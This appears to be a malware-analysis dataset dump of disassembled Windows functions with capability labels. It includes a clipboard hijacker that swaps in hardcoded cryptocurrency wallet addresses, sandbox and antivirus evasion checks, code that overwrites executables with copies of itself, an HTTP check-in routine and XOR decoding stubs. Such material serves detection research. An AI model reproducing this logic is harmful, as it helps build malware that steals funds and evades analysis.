joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40489a
Capabilities:
Packed with generic packer

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x4048ba
jmp loc.004119c4
push dword [ebp + 8]
push 0
push dword [0x40b2c0]
call dword [sym.imp.KERNEL32.dll_HeapSize]
pop ebp
ret

Function at 0x405760
Capabilities:
Packed with generic packer

Disassembly:
push esi
mov esi, edx
shr esi, 1
push edi
mov edi, ecx
je 0x405798
push ebx
lea ebx, [esi + edi]
sub edx, esi
mov ecx, ebx
call fcn.00405760
mov edx, esi
mov ecx, edi
call fcn.00405760
xor eax, eax
test esi, esi
je 0x405797
jmp loc.00411771
pop ebx
pop edi
pop esi
ret

Function at 0x4057a0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
call fcn.00405f60
push 0x4088f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov ecx, dword [esi + 0x3c]
jmp loc.004122bc

Function at 0x405cf0
Capabilities:
Packed with generic packer

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x40b7d0], eax
jmp loc.00412388

Function at 0x405d10
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
jmp loc.004135d5

Function at 0x405d80
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x88]
test edx, edx
je 0x405e02
push esi
mov esi, dword [eax + 0x8c]
test esi, esi
je 0x405e01
mov ecx, edi
sub ecx, dword [eax + 0x1c]
push ebx
mov dword [ebp - 4], ecx
lea ecx, [edx + edi]
mov ebx, ecx
sub ebx, edx
sub ebx, edi
cmp ebx, esi
jae 0x405e00

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4734b35
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x36572493
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10005480
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10009018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x100054f1
lea eax, [ebp - 0x20]
push eax
push esi
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100054f1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Thread32Next]
cmp dword [ebp - 0x14], ebx
je 0x100054d6
lea ecx, [ebp - 0x20]
push ecx
push esi
call edi
test eax, eax
jne 0x100054c6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x18]
push edx
push 1
push 0x1a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [0x10faa3b8], eax
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000565a
mov esp, ebp
pop ebp
ret

Function at 0x1000565a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10009018]
jne 0x10005664
repz ret
jmp fcn.10005b71

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x27f043b1
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
loop 0x42e060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x25f54b60
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check for sandbox and av modules
Check if process is running under wine
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push edi
push str.kernel32.dll
mov dword [esp + 0x20], 0x4041fc
mov dword [esp + 0x24], str.pythonw.exe
mov dword [esp + 0x28], str.prl_cc.exe
mov dword [esp + 0x2c], str.prl_tools.exe
mov dword [esp + 0x30], str.vmsrvc.exe
mov dword [esp + 0x34], str.vmusrvc.exe
mov dword [esp + 0x38], str.xenservice.exe
mov dword [esp + 0x3c], str.vboxservice.exe
mov dword [esp + 0x40], str.vboxtray.exe
mov dword [esp + 0x44], str.vboxcontrol.exe
mov dword [esp + 0x48], str.vmwareservice.exe
mov dword [esp + 0x4c], str.vmwaretray.exe
mov dword [esp + 0x50], str.tpautoconnsvc.exe
mov dword [esp + 0x54], str.vmtoolsd.exe
mov dword [esp + 0x58], str.vmwareuser.exe
mov dword [esp + 0x10], str.sbiedll.dll
mov dword [esp + 0x14], str.sbiedllx.dll
mov dword [esp + 0x18], str.dir_watch.dll
mov dword [esp + 0x1c], str.wpespy.dll
call ebx
xor edi, edi
cmp eax, edi
je 0x4010ce
push str.wine_get_unix_file_name
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4010ce
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push dword [esp + edi*4 + 0x1c]
call fcn.004022c7
pop ecx
test eax, eax
jne 0x401109
inc edi
cmp edi, 0xf
jb 0x4010d8
push 0x64
call esi
xor esi, esi
push dword [esp + esi*4 + 0xc]
call ebx
test eax, eax
jne 0x401109
inc esi
cmp esi, 4
jb 0x4010f2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
jmp 0x4010c8
Function at 0x40110d
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ecx
push ebx
push esi
push edi
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401116
sub eax, ecx
mov ebx, eax
mov al, byte [esi]
cmp al, 0x31
je 0x401163
cmp al, 0x33
je 0x401163
cmp al, 0x42
je 0x401163
cmp al, 0x32
je 0x401163
cmp al, 0x58
je 0x401163
cmp al, 0x44
je 0x401163
cmp al, 0x45
je 0x401163
cmp al, 0x30
je 0x401163
cmp al, 0x4c
je 0x401163
cmp al, 0x34
je 0x40117c
cmp al, 0x50
je 0x401163
cmp al, 0x41
je 0x401163
cmp al, 0x52
je 0x401163
cmp al, 0x72
je 0x401163
cmp al, 0x74
je 0x401163
cmp al, 0x7a
jne 0x401175
cmp al, 0x34
je 0x40117c
cmp al, 0x32
je 0x40117c
cmp ebx, 0x19
jb 0x401175
cmp ebx, 0x2d
jbe 0x401184
xor al, al
pop edi
pop esi
pop ebx
pop ecx
ret
lea eax, [ebx - 0x5a]
cmp eax, 0x19
ja 0x401175
xor edi, edi
test ebx, ebx
jbe 0x4011bb
mov al, byte [edi + esi]
cmp al, 0x4f
je 0x401175
cmp al, 0x49
je 0x401175
cmp al, 0x6c
je 0x401175
movsx eax, al
push eax
call sub.MSVCRT.dll_isalpha
pop ecx
test eax, eax
jne 0x4011b6
movsx eax, byte [edi + esi]
push eax
call sub.MSVCRT.dll_isdigit
pop ecx
test eax, eax
je 0x401175
inc edi
cmp edi, ebx
jb 0x40118a
mov al, byte [esi]
push ebp
cmp al, 0x31
je 0x4011c6
cmp al, 0x33
jne 0x4011cd
mov ebp, str.1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw
jmp 0x4011d1
mov ebp, dword [esp + 0x10]
cmp al, 0x42
jne 0x4011da
mov ebp, str.BCedWttszcCs9uThQJBdJeEvi83vQgxrAa
cmp al, 0x32
jne 0x4011e3
mov ebp, str.228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22
cmp al, 0x58
jne 0x4011ec
mov ebp, str.XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1
cmp al, 0x44
jne 0x4011f5
mov ebp, str.D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv
cmp al, 0x45
jne 0x4011fe
mov ebp, str.EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533
cmp al, 0x30
jne 0x401207
mov ebp, str.0xff0d45f3e2ec83de3b2e069300974732ba1c5d30
cmp al, 0x4c
jne 0x401210
mov ebp, str.Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP
cmp al, 0x34
jne 0x401219
mov ebp, str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia
cmp al, 0x50
jne 0x401222
mov ebp, str.PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ
cmp al, 0x41
jne 0x40122b
mov ebp, str.AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP
cmp al, 0x52
jne 0x401234
mov ebp, str.RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk
cmp al, 0x72
jne 0x40123d
mov ebp, str.rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV
cmp al, 0x74
je 0x401245
cmp al, 0x7a
jne 0x40124a
mov ebp, str.t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r
mov eax, ebp
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40124f
sub eax, ecx
lea esi, [eax + 1]
push esi
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push ebp
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
pop ebp
test eax, eax
je 0x4012a4
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
jmp 0x401177
Function at 0x401e7f
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
mov esi, 0x208
xor edi, edi
push esi
lea eax, [ebp - 0x210]
push edi
push eax
mov dword [ebp - 8], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x668]
push eax
push 0x4049f8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x402043
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp word [ebp - 0x63c], 0x2e
je 0x402022
and dword [ebp - 0x668], 0x10
je 0x401f1b
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x63c]
push eax
call edi
cmp eax, 1
jne 0x402022
call fcn.00401e7f
push 0x4048e4
call edi
jmp 0x402022
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x418]
push eax
push 0x104
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x402022
lea eax, [ebp - 0x418]
push str.Recycle.Bin
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x402022
movzx ecx, word [ebp + eax - 0x418]
mov word [ebp + eax - 0x210], cx
inc eax
inc eax
test cx, cx
jne 0x401f5b
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
lea eax, [ebp - 0x210]
push str..rar
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401fa3
lea eax, [ebp - 0x418]
push eax
call fcn.00402655
pop ecx
push 0x7d0
call esi
xor ebx, ebx
push dword [ebx + 0x406020]
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x402016
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edi, eax
test edi, edi
je 0x402016
push str..exe
push edi
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x402016
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call esi
push 0
lea eax, [ebp - 0x418]
push eax
push 0x406260
call dword [sym.imp.KERNEL32.dll_CopyFileW]
add ebx, 4
cmp ebx, 0x20
jb 0x401fac
push 0x64
call esi
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401edb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4021b6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40220e
mov al, 1
jmp 0x402225
push esi
push esi
push esi
push dword [ebp + 8]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test eax, eax
setne al
pop edi
pop esi
leave
ret

Function at 0x402229
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov esi, 0x208
push esi
xor edi, edi
lea eax, [ebp - 0x208]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x410]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
lea eax, [ebp - 0x208]
push eax
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x208]
push eax
push str._lswinmgr.txt
lea eax, [ebp - 0x410]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push edi
push 2
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4022c1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4022c3
xor al, al
pop edi
pop esi
leave
ret

Function at 0x4022c7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x4022e8
xor eax, eax
pop edi
pop esi
leave
ret
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4022e2
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402337
test dl, dl
je 0x402333
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402337
inc ecx
inc ecx
inc eax
inc eax
test dl, dl
jne 0x402319
xor eax, eax
jmp 0x40233c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402355
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402303
xor esi, esi
jmp 0x402358
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x4022e4
Function at 0x402363
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov edi, 0x104
push edi
xor esi, esi
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push str._st.php_new1
push edi
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
push esi
push esi
push esi
push esi
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.9__rv:25.0__Gecko_20100101_Firefox_25.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, esi
je 0x4023c5
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push dword [ebp - 4]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x4025b7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x40264e
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x4025eb
shr eax, 1
jmp 0x4025f2
shr eax, 1
xor eax, 0xedb88320
loop 0x4025e0
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x4025d8
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x40260c
not eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x402650
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x437769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x43b190
cmp edx, dword [eax]
je 0x43778b
add eax, 8
inc ecx
cmp eax, 0x43b220
jl 0x43777c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x43b190]
jne 0x4378b9
mov eax, dword [0x43bbb0]
cmp eax, 1
je 0x437893
test eax, eax
jne 0x4377bc
cmp dword [0x43b0e4], 1
je 0x437893
cmp edx, 0xfc
je 0x4378b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4377f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00438670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00438490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x437836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00438490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43a45c
push edi
call fcn.00438f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00438670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00438680
lea eax, [ebp - 0xa0]
push 0x43a43c
push eax
call fcn.00438680
push dword [esi + 0x43b194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00438680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00438e75
add esp, 0x2c
pop edi
jmp 0x4378b9
lea eax, [ebp + 8]
lea esi, [esi + 0x43b194]
push 0
push eax
push dword [esi]
call fcn.00438490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x28b6017a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x52692016
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401489
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x18
push 0x407298
call fcn.00401800
mov edi, 0x94
mov eax, edi
call fcn.00402fe0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4096e8], ecx
mov eax, dword [esi + 4]
mov dword [0x4096f4], eax
mov edx, dword [esi + 8]
mov dword [0x4096f8], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x4096ec], esi
cmp ecx, 2
je 0x4014e9
or esi, 0x8000
mov dword [0x4096ec], esi
shl eax, 8
add eax, edx
mov dword [0x4096f0], eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x401522
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401522
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40153a
cmp eax, 0x20b
je 0x401527
mov dword [ebp - 0x1c], edi
jmp 0x40154e
cmp dword [ecx + 0x84], 0xe
jbe 0x401522
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x401548
cmp dword [ecx + 0x74], 0xe
jbe 0x401522
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
push edi
call fcn.00402f82
pop ecx
test eax, eax
jne 0x40157a
cmp dword [0x4096cc], 2
je 0x401567
call fcn.0040293f
push 0x1c
call fcn.004027c8
push 0xff
call fcn.0040251f
pop ecx
pop ecx
call fcn.00402ee0
mov dword [ebp - 4], edi
call fcn.004022a1
test eax, eax
jge 0x401593
push 0x1b
call fcn.00401464
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x409c40], eax
call fcn.00402dbe
mov dword [0x4096c4], eax
call fcn.00402d1c
test eax, eax
jge 0x4015b9
push 8
call fcn.00401464
pop ecx
call fcn.00402ae9
test eax, eax
jge 0x4015ca
push 9
call fcn.00401464
pop ecx
push 1
call fcn.0040254f
pop ecx
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x4015e0
push eax
call fcn.00401464
pop ecx
mov eax, dword [0x409708]
mov dword [0x40970c], eax
push eax
push dword [0x409700]
push dword [0x4096fc]
call fcn.004010a0
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x1c], edi
jne 0x40160f
push esi
call fcn.0040267a
call fcn.0040269c
jmp 0x401641
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x34]
call fcn.0040183b
ret